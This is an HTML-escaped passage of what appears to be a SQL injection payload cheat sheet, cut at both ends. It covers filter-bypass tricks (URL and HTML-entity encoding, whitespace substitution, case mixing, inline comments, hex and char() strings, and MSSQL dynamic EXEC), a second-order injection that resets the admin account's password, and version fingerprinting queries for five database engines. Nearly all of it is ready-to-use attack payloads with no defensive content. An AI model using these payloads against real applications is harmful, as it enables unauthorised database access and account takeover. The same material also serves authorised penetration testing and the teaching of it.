&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;%&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;2555&lt;/span&gt;NION&lt;span style=&#34;color:#f92672&#34;&gt;%&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;2520&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- HTML entity (when input reflected in HTML context):
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;#&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;85&lt;/span&gt;;NION &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;#&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;83&lt;/span&gt;;ELECT
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;space-substitution&#34;&gt;Space Substitution&lt;/h4&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- Replace spaces with:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;UNION&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/**/&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;UNION&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;%&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;09&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt;          &lt;span style=&#34;color:#75715e&#34;&gt;-- tab
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;UNION&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;%&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;aSELECT          &lt;span style=&#34;color:#75715e&#34;&gt;-- newline
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;UNION&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;%&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;cSELECT          &lt;span style=&#34;color:#75715e&#34;&gt;-- form feed
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;UNION&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;%&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;dSELECT          &lt;span style=&#34;color:#75715e&#34;&gt;-- carriage return
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;UNION&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;%&lt;/span&gt;a0SELECT          &lt;span style=&#34;color:#75715e&#34;&gt;-- non-breaking space
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;UNION&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;)                &lt;span style=&#34;color:#75715e&#34;&gt;-- parentheses (some contexts)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;string-bypass-when-quotes-filtered&#34;&gt;String Bypass (when quotes filtered)&lt;/h4&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- Hex encoding:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;x61646d696e          &lt;span style=&#34;color:#75715e&#34;&gt;-- &amp;#39;admin&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;WHERE&lt;/span&gt; username&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;x61646d696e
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- char() function:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;WHERE&lt;/span&gt; username&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;char(&lt;span style=&#34;color:#ae81ff&#34;&gt;97&lt;/span&gt;,&lt;span style=&#34;color:#ae81ff&#34;&gt;100&lt;/span&gt;,&lt;span style=&#34;color:#ae81ff&#34;&gt;109&lt;/span&gt;,&lt;span style=&#34;color:#ae81ff&#34;&gt;105&lt;/span&gt;,&lt;span style=&#34;color:#ae81ff&#34;&gt;110&lt;/span&gt;)   &lt;span style=&#34;color:#75715e&#34;&gt;-- MySQL
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;WHERE&lt;/span&gt; username&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;chr(&lt;span style=&#34;color:#ae81ff&#34;&gt;97&lt;/span&gt;)&lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt;chr(&lt;span style=&#34;color:#ae81ff&#34;&gt;100&lt;/span&gt;)&lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt;chr(&lt;span style=&#34;color:#ae81ff&#34;&gt;109&lt;/span&gt;)&lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt;chr(&lt;span style=&#34;color:#ae81ff&#34;&gt;105&lt;/span&gt;)&lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt;chr(&lt;span style=&#34;color:#ae81ff&#34;&gt;110&lt;/span&gt;)  &lt;span style=&#34;color:#75715e&#34;&gt;-- PostgreSQL/Oracle
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- concat:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;WHERE&lt;/span&gt; username&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;concat(char(&lt;span style=&#34;color:#ae81ff&#34;&gt;97&lt;/span&gt;),char(&lt;span style=&#34;color:#ae81ff&#34;&gt;100&lt;/span&gt;),char(&lt;span style=&#34;color:#ae81ff&#34;&gt;109&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- Dynamic query:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;; EXEC(&amp;#39;&lt;/span&gt;SEL&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;+&amp;#39;&lt;/span&gt;ECT &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;FROM&lt;/span&gt; users&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;)--   -- MSSQL string concat
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;-- Bypass with LIKE/wildcard:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;WHERE username LIKE 0x61646d696e
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;filter-bypass-for-specific-keywords&#34;&gt;Filter Bypass for Specific Keywords&lt;/h4&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- &amp;#34;UNION&amp;#34; blocked:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;UNiOn&lt;/span&gt;, &lt;span style=&#34;color:#66d9ef&#34;&gt;UnIoN&lt;/span&gt;, &lt;span style=&#34;color:#66d9ef&#34;&gt;UNION&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/**/&lt;/span&gt;, &lt;span style=&#34;color:#75715e&#34;&gt;/*!UNION*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- &amp;#34;SELECT&amp;#34; blocked:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;SELect&lt;/span&gt;, &lt;span style=&#34;color:#66d9ef&#34;&gt;sElEcT&lt;/span&gt;, SEL&lt;span style=&#34;color:#75715e&#34;&gt;/**/&lt;/span&gt;ECT, &lt;span style=&#34;color:#75715e&#34;&gt;/*!SELECT*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- &amp;#34;WHERE&amp;#34; blocked:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;WHere&lt;/span&gt;, &lt;span style=&#34;color:#66d9ef&#34;&gt;wHeRe&lt;/span&gt;, &lt;span style=&#34;color:#75715e&#34;&gt;/*!WHERE*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- &amp;#34;AND/OR&amp;#34; blocked:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt;, &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt;, &lt;span style=&#34;color:#f92672&#34;&gt;%&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;26&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;%&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;26&lt;/span&gt;, &lt;span style=&#34;color:#f92672&#34;&gt;%&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;7&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;c&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;%&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;7&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;c&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- &amp;#34;=&amp;#34; blocked:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;LIKE&lt;/span&gt;, REGEXP, &lt;span style=&#34;color:#66d9ef&#34;&gt;BETWEEN&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;a&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;AND&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;b&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#66d9ef&#34;&gt;IN&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;admin&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;WHERE&lt;/span&gt; username &lt;span style=&#34;color:#66d9ef&#34;&gt;BETWEEN&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;admin&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;AND&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;admin&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- Comparison operators:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; (greater &lt;span style=&#34;color:#66d9ef&#34;&gt;than&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;less&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;than&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;not&lt;/span&gt; equal)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&amp;gt;&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;not&lt;/span&gt; equal)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;second-order-injection&#34;&gt;Second-Order Injection&lt;/h4&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- Step 1: Register with payload as username:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Username: &lt;span style=&#34;color:#66d9ef&#34;&gt;admin&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;-- Step 2: Application stores raw input in DB
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;-- Step 3: Password change query uses stored username:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;UPDATE users SET password=&amp;#39;&lt;/span&gt;newpass&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; WHERE username=&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;admin&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;--&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- Effect: password of &amp;#39;admin&amp;#39; changed, not the attacker&amp;#39;s account
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- Common second-order sinks:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- Profile update
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- Password reset
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- Email preferences
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- Log viewers (stored → viewed by admin → executed)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h3 id=&#34;section-10--database-fingerprinting&#34;&gt;Section 10 — Database Fingerprinting&lt;/h3&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- MySQL:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;@@&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;version&lt;/span&gt;          &lt;span style=&#34;color:#75715e&#34;&gt;-- 8.0.x
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;version&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;@@&lt;/span&gt;datadir
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;@@&lt;/span&gt;basedir
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;  →  error mentions &amp;#34;MySQL&amp;#34; or &amp;#34;MariaDB&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;-- PostgreSQL:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;SELECT version()          -- PostgreSQL 14.x
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;SELECT current_setting(&amp;#39;&lt;/span&gt;server_version&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;SELECT pg_sleep(0)        -- function exists
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;-- MSSQL:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;SELECT @@version          -- Microsoft SQL Server 2019
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;SELECT @@servername
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;SELECT getdate()
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;WAITFOR DELAY &amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;:&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;:&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;-- Oracle:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;SELECT banner FROM v$version
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;SELECT * FROM v$instance
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;SELECT user FROM dual
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;dual table exists
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;-- SQLite:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;SELECT sqlite_version()
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;SELECT typeof(1)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;-- Differentiate MySQL vs MSSQL:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;-- MySQL:   SELECT 1+1  → 2
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;-- MSSQL:   SELECT 1+1  → 2   (same, use other methods)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;-- MySQL:   # comment works
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;-- MSSQL:   # does NOT work, use --
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;-- Universal detection order:
